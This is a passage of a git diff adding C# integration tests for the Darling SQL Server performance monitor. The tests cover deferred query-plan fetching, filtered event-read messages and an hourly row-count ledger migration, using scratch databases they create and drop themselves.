+            Assert.Equal(3, all.GetProperty("databases").GetArrayLength());
+            Assert.Null(Echo(all.GetRawText()));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await QueryEventsDatabaseFilterLiveTests.DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>A filtered empty answer says "for the database X" for one name and "for the chosen databases" for two or more, on all three event reads.</summary>
+    [Fact]
+    public async Task TheEventReadsFilteredEmptyAnswers_UseTheSharedSelectionWords()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var serverName = QueryEventsDatabaseFilterLiveTests.ServerName;
+        var bodySucceeded = false;
+        try
+        {
+            await QueryEventsDatabaseFilterLiveTests.SeedAsync(cs!, ct);
+
+            foreach (var (read, phrase) in new[]
+                     {
+                         ("get_long_query_completions", "specified time range"),
+                         ("get_plan_corrections", "No plan correction data found"),
+                         ("get_query_store_clutter", "capture"),
+                     })
+            {
+                var one = JsonDocument.Parse(await WebReadAsync(postgres, serverName, read, "1", "NoSuchDb")).RootElement;
+                Assert.Equal("empty", one.GetProperty("status").GetString());
+                var oneMessage = one.GetProperty("message").GetString()!;
+                Assert.Contains(phrase, oneMessage, StringComparison.Ordinal);
+                Assert.Contains(" for the database NoSuchDb", oneMessage, StringComparison.Ordinal);
+                Assert.DoesNotContain("for the chosen databases", oneMessage, StringComparison.Ordinal);
+
+                var many = JsonDocument.Parse(await WebReadAsync(postgres, serverName, read, "1", "NoX", "NoY")).RootElement;
+                Assert.Equal("empty", many.GetProperty("status").GetString());
+                Assert.Contains(" for the chosen databases", many.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+
+            /* A blank name is every database: the public tool echoes null and answers with the rows. */
+            var blank = await DarlingMcpLongQueryTools.GetLongQueryCompletions(postgres, serverName, 1, 30, null, "  ", null, ct);
+            Assert.Null(Echo(blank));
+            Assert.Equal(6, JsonDocument.Parse(blank).RootElement.GetProperty("completions_returned").GetInt32());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await QueryEventsDatabaseFilterLiveTests.DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsDeferredPlanFetchLiveTests.cs b/Darling/Darling.Tests/QueryStatsDeferredPlanFetchLiveTests.cs
new file mode 100644
index 0000000000..9d70790d9d
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsDeferredPlanFetchLiveTests.cs
@@ -0,0 +1,430 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158 end to end: <c>query_stats</c> with the deferred plan fetch, a real SQL Server as the monitored target
+/// and a real PostgreSQL as the store (gated on DARLING_TEST_PG and DARLING_TEST_SQL, with the optional
+/// DARLING_TEST_SQL_USER / DARLING_TEST_SQL_PASSWORD).
+///
+/// <para>Each test seeds its own scratch database with a few stored procedures, executes each so a full plan is
+/// cached, and restricts the collector to that database (every other database is excluded), so the plan counts
+/// below are exactly the scratch plans. Plans are counted by the run's <c>plans_rendered</c> measurement, the
+/// number of plans the host rendered on the target.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStatsDeferredPlanFetchLiveTests
+{
+    private const string SkipReason = "Set DARLING_TEST_PG and DARLING_TEST_SQL to run the deferred plan fetch end-to-end tests.";
+
+    /// <summary>Three procedures with a few statements each, so a run has several plan identities.</summary>
+    private const string SeedProcedures = @"
+CREATE PROCEDURE dbo.pm_a AS BEGIN SELECT COUNT_BIG(*) AS a1 FROM sys.objects; SELECT COUNT_BIG(*) AS a2 FROM sys.columns; END;
+GO
+CREATE PROCEDURE dbo.pm_b AS BEGIN SELECT COUNT_BIG(*) AS b1 FROM sys.indexes; END;
+GO
+CREATE PROCEDURE dbo.pm_c AS BEGIN SELECT COUNT_BIG(*) AS c1 FROM sys.types; END;";
+
+    private static (string Pg, string SqlHost, string? SqlUser, string? SqlPassword) Env()
+    {
+        var pg = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        var sql = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(pg) || string.IsNullOrEmpty(sql), SkipReason);
+        return (pg!, sql!, Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER"), Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD"));
+    }
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required NpgsqlDataSource Store { get; init; }
+        public required ServerRuntime Server { get; init; }
+        public required string Database { get; init; }
+        public required string PgConnectionString { get; init; }
+
+        public async ValueTask DisposeAsync() => await Store.DisposeAsync();
+    }
+
+    private static async Task<Rig> StartAsync(string name, int wideUnions, CancellationToken ct)
+    {
+        var (pg, sqlHost, user, password) = Env();
+        var database = "pm5158_" + Guid.NewGuid().ToString("N")[..10];
+
+        await using (var admin = new SqlConnection(Connect(sqlHost, user, password, "master")))
+        {
+            await admin.OpenAsync(ct);
+            await Exec(admin, "CREATE DATABASE [" + database + "];", ct);
+        }
+
+        await using (var seed = new SqlConnection(Connect(sqlHost, user, password, database)))
+        {
+            await seed.OpenAsync(ct);
+            foreach (var batch in SeedProcedures.Split("GO", StringSplitOptions.RemoveEmptyEntries))
+            {
+                await Exec(seed, batch, ct);
+            }
+
+            if (wideUnions > 0)
+            {
+                var wide = new System.Text.StringBuilder("CREATE PROCEDURE dbo.pm_wide AS SELECT 1 AS x");
+                for (var i = 0; i < wideUnions; i++)
+                {
+                    wide.Append(" UNION ALL SELECT TOP (1) object_id FROM sys.objects WHERE object_id = ").Append(i);
+                }
+
+                await Exec(seed, wide.ToString(), ct);
+            }
+
+            await ExecuteProceduresAsync(seed, wideUnions > 0, ct);
+        }
+
+        var others = new List<string>();
+        await using (var list = new SqlConnection(Connect(sqlHost, user, password, "master")))
+        {
+            await list.OpenAsync(ct);
+            using var command = new SqlCommand("SELECT name FROM sys.databases WHERE name <> @d", list);
+            command.Parameters.AddWithValue("@d", database);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                others.Add(reader.GetString(0));
+            }
+        }
+
+        var config = new MonitoredServer
+        {
+            Name = name + "-" + Guid.NewGuid().ToString("N")[..6],
+            Host = sqlHost,
+            Auth = string.IsNullOrEmpty(user) ? "integrated" : "sql",
+            Username = user,
+            Password = password,
+            TrustServerCertificate = true,
+            ExcludedDatabases = others,
+        };
+
+        var store = NpgsqlDataSource.Create(pg);
+        await using (var migrate = await store.OpenConnectionAsync(ct))
+        {
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        return new Rig
+        {
+            Store = store,
+            Server = await DarlingServerConnector.ConnectAsync(config, null, ct),
+            Database = database,
+            PgConnectionString = pg,
+        };
+    }
+
+    private static string Connect(string host, string? user, string? password, string database)
+    {
+        var builder = new SqlConnectionStringBuilder
+        {
+            DataSource = host,
+            InitialCatalog = database,
+            TrustServerCertificate = true,
+            Encrypt = SqlConnectionEncryptOption.Optional,
+            ConnectTimeout = 15,
+        };
+        if (string.IsNullOrEmpty(user))
+        {
+            builder.IntegratedSecurity = true;
+        }
+        else
+        {
+            builder.UserID = user;
+            builder.Password = password;
+        }
+
+        return builder.ConnectionString;
+    }
+
+    private static async Task Exec(SqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new SqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Executes each procedure twice, so each caches a full compiled plan rather than an ad hoc stub.</summary>
+    private static async Task ExecuteProceduresAsync(SqlConnection connection, bool includeWide, CancellationToken ct, string? only = null)
+    {
+        var names = new List<string> { "pm_a", "pm_b", "pm_c" };
+        if (includeWide)
+        {
+            names.Add("pm_wide");
+        }
+
+        foreach (var name in names.Where(n => only is null || n == only))
+        {
+            for (var i = 0; i < 2; i++)
+            {
+                using var command = new SqlCommand("EXEC dbo." + name, connection) { CommandTimeout = 120 };
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct)) { }
+            }
+        }
+    }
+
+    /// <summary>Drops the scratch database on the monitored side. A drop failure surfaces only when the body succeeded.</summary>
+    private static async Task DropScratchDatabaseAsync(Rig rig, bool bodySucceeded)
+    {
+        try
+        {
+            var (_, sqlHost, user, password) = Env();
+            await using var admin = new SqlConnection(Connect(sqlHost, user, password, "master"));
+            await admin.OpenAsync(CancellationToken.None);
+            await Exec(admin, "IF DB_ID(N'" + rig.Database + "') IS NOT NULL BEGIN ALTER DATABASE [" + rig.Database
+                + "] SET SINGLE_USER WITH ROLLBACK IMMEDIATE; DROP DATABASE [" + rig.Database + "]; END;", CancellationToken.None);
+        }
+        catch when (!bodySucceeded)
+        {
+        }
+    }
+
+    private static async Task DeleteStoredRowsAsync(NpgsqlConnection cleanup, int serverId, CancellationToken cleanupCt)
+    {
+        using var command = new NpgsqlCommand("DELETE FROM query_stats WHERE server_id = $1", cleanup);
+        command.Parameters.AddWithValue(serverId);
+        await command.ExecuteNonQueryAsync(cleanupCt);
+    }
+
+    /// <summary>The run's plans_rendered measurement, or -1 when the run did not defer its fetch (it renders inline).</summary>
+    private static long Rendered(CollectorRunResult result, string label = "plans_rendered") =>
+        result.Measurements.Any(m => m.Label == label) ? result.Measurements.First(m => m.Label == label).Value : -1;
+
+    private static DarlingCollectorRunner NewRunner(NpgsqlDataSource store, bool deferred) =>
+        new(store, new CollectorDeltaCalculator(), null, capturePlans: () => true, queryStatsDeferredPlanFetch: () => deferred);
+
+    /// <summary>The scratch database's stored rows for this run set: digest, reachable plan through v_query_stats, size.</summary>
+    private static async Task<List<StoredRow>> StoredAsync(Rig rig, CancellationToken ct)
+    {
+        await using var connection = await rig.Store.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(
+            "SELECT host_object_name, query_plan_digest IS NOT NULL, "
+            + "(COALESCE(query_plan_xml, '') <> '' OR query_plan_gz IS NOT NULL), query_plan_xml_bytes, collection_time "
+            + "FROM v_query_stats WHERE server_id = $1 AND database_name = $2 AND host_object_name LIKE '%.pm\\_%' ORDER BY collection_time, host_object_name", connection);
+        command.Parameters.AddWithValue(rig.Server.ServerId);
+        command.Parameters.AddWithValue(rig.Database);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var rows = new List<StoredRow>();
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add(new StoredRow(
+                reader.IsDBNull(0) ? null : reader.GetString(0), reader.GetBoolean(1), reader.GetBoolean(2),
+                reader.IsDBNull(3) ? null : reader.GetInt64(3), reader.GetDateTime(4)));
+        }
+
+        return rows;
+    }
+
+    private sealed record StoredRow(string? Object, bool HasDigest, bool PlanResolves, long? Bytes, DateTime CollectedAt);
+
+    [Fact]
+    public async Task RunTwo_RendersNothing_AndItsRowsStillResolveTheirPlans()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await StartAsync("pm5158-two", wideUnions: 0, ct);
+        var ok = false;
+        try
+        {
+            var runner = NewRunner(rig.Store, deferred: true);
+
+            var first = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.True(first.Rows >= 4, "three procedures, four statements, one row each");
+            Assert.True(Rendered(first) >= 4, "a cold cache renders every plan");
+            Assert.True(Rendered(first, "plan_fetch_ms") > 0, "a run with misses times its fetch (#5158 review finding 1)");
+
+            var second = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.True(second.Rows >= 4);
+
+            /* The point of the change: nothing rendered the second time. With the knob off the run renders inline
+               and carries no plans_rendered measurement at all. */
+            Assert.Equal(0, Rendered(second));
+            Assert.Equal(0, Rendered(second, "plans_rendered_bytes"));
+            /* Rows the server returns no plan for stay misses (nothing to cache), so run two can still time a fetch that
+               rendered nothing; the no-miss zero is pinned in PlanDigestCacheTests. */
+            Assert.True(Rendered(second, "plan_fetch_ms") >= 0, "the fetch time is always recorded on a deferred run");
+
+            var stored = await StoredAsync(rig, ct);
+            Assert.Equal(8, stored.Count); /* the three procedures hold four statements, collected twice */
+            Assert.All(stored, row =>
+            {
+                Assert.True(row.HasDigest, "every row, reused or rendered, carries the plan digest");
+                Assert.True(row.PlanResolves, "and resolves its plan through v_query_stats");
+                Assert.True(row.Bytes > 0, "reused rows keep the measured plan size");
+            });
+            ok = true;
+        }
+        finally
+        {
+            await DropScratchDatabaseAsync(rig, ok);
+            await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task WithTheKnobOff_EveryRunRendersInline_AndNothingIsDeferred()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await StartAsync("pm5158-off", wideUnions: 0, ct);
+        var ok = false;
+        try
+        {
+            var runner = NewRunner(rig.Store, deferred: false);
+            var first = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            var second = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+
+            Assert.Equal(-1, Rendered(first));
+            Assert.Equal(-1, Rendered(first, "plan_fetch_ms"));
+            Assert.Equal(-1, Rendered(second));
+            var stored = await StoredAsync(rig, ct);
+            Assert.Equal(8, stored.Count); /* the three procedures hold four statements, collected twice */
+            Assert.All(stored, row => Assert.True(row.PlanResolves, "inline capture stores every row's plan"));
+            ok = true;
+        }
+        finally
+        {
+            await DropScratchDatabaseAsync(rig, ok);
+            await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task SpRecompile_GivesANewIdentity_ThatIsFetched()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (_, sqlHost, user, password) = Env();
+        await using var rig = await StartAsync("pm5158-recomp", wideUnions: 0, ct);
+        var ok = false;
+        try
+        {
+            var runner = NewRunner(rig.Store, deferred: true);
+            var first = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            var second = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.Equal(0, Rendered(second));
+
+            await using (var target = new SqlConnection(Connect(sqlHost, user, password, rig.Database)))
+            {
+                await target.OpenAsync(ct);
+                await Exec(target, "EXEC sys.sp_recompile N'dbo.pm_a';", ct);
+                await ExecuteProceduresAsync(target, includeWide: false, ct, only: "pm_a");
+            }
+
+            var third = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+
+            /* pm_a has two statements, each a new plan identity; pm_b and pm_c are unchanged and rendered nothing. */
+            Assert.Equal(2, Rendered(third));
+            Assert.True(first.Rows >= 4);
+
+            var stored = await StoredAsync(rig, ct);
+            var latest = stored.Where(r => r.CollectedAt == stored.Max(x => x.CollectedAt)).ToList();
+            Assert.All(latest, row => Assert.True(row.HasDigest && row.PlanResolves));
+            ok = true;
+        }
+        finally
+        {
+            await DropScratchDatabaseAsync(rig, ok);
+            await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task AHandleThatAgesOutBetweenThePhases_ShipsNoPlanAndNoSize_WithoutFailingTheRun()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (_, sqlHost, user, password) = Env();
+        await using var rig = await StartAsync("pm5158-aged", wideUnions: 0, ct);
+        var ok = false;
+        try
+        {
+            var runner = NewRunner(rig.Store, deferred: true);
+            runner.BetweenPlanPhasesForTests = async token =>
+            {
+                await using var target = new SqlConnection(Connect(sqlHost, user, password, rig.Database));
+                await target.OpenAsync(token);
+                using var find = new SqlCommand(
+                    "SELECT CONVERT(varchar(130), plan_handle, 1) FROM sys.dm_exec_procedure_stats WHERE database_id = DB_ID() AND object_id = OBJECT_ID(N'dbo.pm_b')", target);
+                var handle = (string)(await find.ExecuteScalarAsync(token))!;
+                await Exec(target, "DBCC FREEPROCCACHE(" + handle + ");", token);
+            };
+
+            var result = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.True(result.Rows >= 4);
+
+            var stored = await StoredAsync(rig, ct);
+            var aged = stored.Where(r => r.Object is not null && r.Object.EndsWith("pm_b", StringComparison.Ordinal)).ToList();
+            Assert.NotEmpty(aged);
+
+            /* Today's aged-out pairing: no plan and no size. And nothing was cached for it. */
+            Assert.All(aged, row =>
+            {
+                Assert.False(row.HasDigest);
+                Assert.False(row.PlanResolves);
+                Assert.Null(row.Bytes);
+            });
+            Assert.All(stored.Except(aged), row => Assert.True(row.HasDigest && row.PlanResolves));
+            ok = true;
+        }
+        finally
+        {
+            await DropScratchDatabaseAsync(rig, ok);
+            await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task AnOverCapPlan_KeepsItsBytesWithANullPlan_AndIsNotRenderedAgain()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await StartAsync("pm5158-wide", wideUnions: 400, ct);
+        var ok = false;
+        try
+        {
+            var runner = NewRunner(rig.Store, deferred: true);
+            var first = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.True(Rendered(first, "plans_rendered_bytes") > QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes,
+                "the first sighting renders the wide plan once");
+
+            var second = await runner.RunAsync(QueryStatsCollector.Instance, rig.Server, ct);
+            Assert.Equal(0, Rendered(second));
+            Assert.Equal(0, Rendered(second, "plans_rendered_bytes"));
+
+            var stored = await StoredAsync(rig, ct);
+            var wide = stored.Where(r => r.Object is not null && r.Object.EndsWith("pm_wide", StringComparison.Ordinal)).ToList();
+            Assert.Equal(2, wide.Count);
+            Assert.All(wide, row =>
+            {
+                Assert.False(row.HasDigest, "an over-cap plan stores no plan");
+                Assert.True(row.Bytes > QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes, "but keeps the measured size, run 2 included");
+            });
+            ok = true;
+        }
+        finally
+        {
+            await DropScratchDatabaseAsync(rig, ok);
+            await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsHourLedgerTests.cs b/Darling/Darling.Tests/QueryStatsHourLedgerTests.cs
new file mode 100644
index 0000000000..64be40c3f1
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsHourLedgerTests.cs
@@ -0,0 +1,476 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the hourly row-count ledger of <c>collect.query_stats</c> (#4605): two plain collect
+/// tables, the one-row state table's starting hour, and the two seams the next lanes build on, <c>UpsertSql</c> and
+/// <c>RecountSql</c>. Every fact finds the rung by NAME. The live facts mint their own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStatsHourLedgerTests
+{
+    public const string RungName = "query-stats-hour-ledger";
+
+    private const int ProbeOrdinal = 139;
+
+    private const int ServerA = -945101;
+    private const int ServerB = -945102;
+    private const string NameA = "LedgerServerA\\INST";
+    private const string NameB = "ledgerserverb";
+
+    /// <summary>Fixed anchor, never wall-clock relative: whole hours.</summary>
+    private static readonly DateTime H10 = new(2026, 1, 5, 10, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    public static int RungVersion => Rung.Version;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    private static string Statements() =>
+        Regex.Replace(Rung.Sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    private static List<(string Name, string Type)> ColumnsOf(string table)
+    {
+        var sql = Statements();
+        var header = "CREATE TABLE IF NOT EXISTS " + table + "\n(";
+        var start = sql.IndexOf(header, StringComparison.Ordinal);
+        Assert.True(start >= 0, "no CREATE TABLE for " + table);
+        var end = sql.IndexOf("\n)", start, StringComparison.Ordinal);
+        var columns = new List<(string, string)>();
+        foreach (var raw in sql[(start + header.Length)..end].Split('\n'))
+        {
+            var line = raw.Trim().TrimEnd(',');
+            if (line.Length == 0 || line.StartsWith("CONSTRAINT", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var space = line.IndexOf(' ', StringComparison.Ordinal);
+            columns.Add((line[..space], line[(space + 1)..].Trim()));
+        }
+
+        return columns;
+    }
+
+    [Fact]
+    public void TheRungIsRegisteredOnce_InADenseLadder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(164, Rung.Version);
+        Assert.Equal(QueryStatsHourLedger.RungVersion, Rung.Version); // the runner's below-the-rung check reads this constant
+        Assert.Single(PgMigrations.Scripts, m => m.Name == RungName);
+        Assert.Contains(Rung.Version + 1, versions); // no longer the top rung: V165 landed above it
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    [Fact]
+    public void TheTablesArePlain_SchemaQualified_Guarded_AndOnlyTheStateRowIsInserted()
+    {
+        var sql = Statements();
+
+        Assert.DoesNotContain("create_hypertable", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("timescaledb", sql, StringComparison.OrdinalIgnoreCase);
+        foreach (var match in Regex.Matches(sql, @"(?:CREATE TABLE IF NOT EXISTS|INSERT INTO)\s+(\S+)").Cast<Match>())
+        {
+            Assert.Matches(@"^collect\.", match.Groups[1].Value);
+        }
+
+        foreach (var create in Regex.Matches(sql, @"CREATE\s+(?:UNIQUE\s+)?(TABLE|INDEX)\s+(?!IF NOT EXISTS)", RegexOptions.IgnoreCase).Cast<Match>())
+        {
+            Assert.Fail("an unguarded CREATE: " + create.Value);
+        }
+
+        foreach (var verb in new[] { "ALTER ", "UPDATE ", "DELETE ", "GRANT ", "DROP ", "CREATE INDEX" })
+        {
+            Assert.DoesNotContain(verb, sql, StringComparison.OrdinalIgnoreCase);
+        }
+
+        /* The census treats an INSERT ... SELECT on an earlier rung's table as data-moving; this one is a VALUES row into a
+           table the same rung creates, and a re-run must keep the first counted_since. */
+        Assert.Single(Regex.Matches(sql, @"INSERT\s+INTO", RegexOptions.IgnoreCase));
+        Assert.Contains("INSERT INTO collect.query_stats_hour_ledger_state (id, counted_since)", sql, StringComparison.Ordinal);
+        Assert.Contains("VALUES (1, date_trunc('hour', now() AT TIME ZONE 'UTC') + interval '1 hour')", sql, StringComparison.Ordinal);
+        Assert.Contains("ON CONFLICT (id) DO NOTHING;", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("SELECT", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void TheColumnsTypesAndKeys_ArePinned()
+    {
+        Assert.Equal(
+            ["server_id:integer NOT NULL", "server_name:text NOT NULL", "bucket:timestamp NOT NULL", "n:bigint NOT NULL"],
+            ColumnsOf(QueryStatsHourLedger.LedgerTable).Select(c => c.Name + ":" + c.Type).ToArray());
+        Assert.Equal(
+            ["id:integer NOT NULL", "counted_since:timestamp NOT NULL"],
+            ColumnsOf(QueryStatsHourLedger.StateTable).Select(c => c.Name + ":" + c.Type).ToArray());
+
+        var sql = Statements();
+        /* Hour first: the guard reads a range of hours across every server and the prune deletes below one hour. */
+        Assert.Contains("CONSTRAINT pk_query_stats_hour_ledger PRIMARY KEY (bucket, server_id, server_name)", sql, StringComparison.Ordinal);
+        Assert.Contains("CONSTRAINT pk_query_stats_hour_ledger_state PRIMARY KEY (id)", sql, StringComparison.Ordinal);
+        Assert.Contains("CHECK (id = 1)", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void NeitherTableIsACollectorTable()
+    {
+        foreach (var table in new[] { "query_stats_hour_ledger", "query_stats_hour_ledger_state" })
+        {
+            Assert.DoesNotContain(CollectorCatalog.All, c => c.TargetTable == table);
+        }
+    }
+
+    [Fact]
+    public void TheSeams_CountTheRollupsPopulation_ByTheHour_AndNeedNoTimescale()
+    {
+        /* The rollup counts rows under this exact predicate; the recount says the same. The guard has no raw side any more: it
+           reads the ledger, so it names this table and has no scan of collect.query_stats (the lookahead keeps
+           query_stats_hour_ledger and query_stats_interval_hourly from counting as one). */
+        const string predicate = "sample_interval_seconds IS DISTINCT FROM 0";
+        Assert.Contains(predicate, TimescaleSupport.CreateQueryStatsIntervalHourlySql, StringComparison.Ordinal);
+        Assert.Contains(predicate, QueryStatsHourLedger.RecountSql, StringComparison.Ordinal);
+        Assert.Contains($"FROM {QueryStatsHourLedger.LedgerTable}", IntervalRollupCountGuard.QueryStatsSql, StringComparison.Ordinal);
+        Assert.Contains($"FROM {QueryStatsHourLedger.StateTable}", IntervalRollupCountGuard.QueryStatsSql, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"\bcollect\.query_stats(?![\w$])", IntervalRollupCountGuard.QueryStatsSql);
+        Assert.DoesNotContain(predicate, IntervalRollupCountGuard.QueryStatsSql, StringComparison.Ordinal);
+
+        foreach (var sql in new[] { QueryStatsHourLedger.UpsertSql, QueryStatsHourLedger.RecountSql })
+        {
+            Assert.Contains("date_trunc('hour'", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("time_bucket", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("ON CONFLICT (bucket, server_id, server_name) DO UPDATE SET n = ledger.n + EXCLUDED.n", QueryStatsHourLedger.UpsertSql, StringComparison.Ordinal);
+        Assert.Contains("WHERE $4::bigint > 0", QueryStatsHourLedger.UpsertSql, StringComparison.Ordinal);
+        Assert.Contains("DO UPDATE SET n = EXCLUDED.n", QueryStatsHourLedger.RecountSql, StringComparison.Ordinal);
+        Assert.Contains("DELETE FROM collect.query_stats_hour_ledger", QueryStatsHourLedger.RecountSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("query_stats_hour_ledger_state", QueryStatsHourLedger.RecountSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheLedgerTable_AsTheTopArm_AndMapsFullyMigratedToThisRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "to_regclass('collect.query_stats_hour_ledger') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+        /* No longer the probe's last EXISTS: V165 (the password key tables) landed above it. */
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var parameters = method.GetParameters();
+        Assert.True(ProbeOrdinal < parameters.Length - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasQueryStatsHourLedger", parameters[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, all)!);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasQueryStatsHourLedger)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasStoreStatementHistory)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0 && thisArm < previousArm, "this arm sits above the previous rung's");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        var armProseStart = viewer.LastIndexOf("/* V164 (#4605)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain("query_stats_hour_ledger", viewer[armProseStart..thisArm], StringComparison.Ordinal);
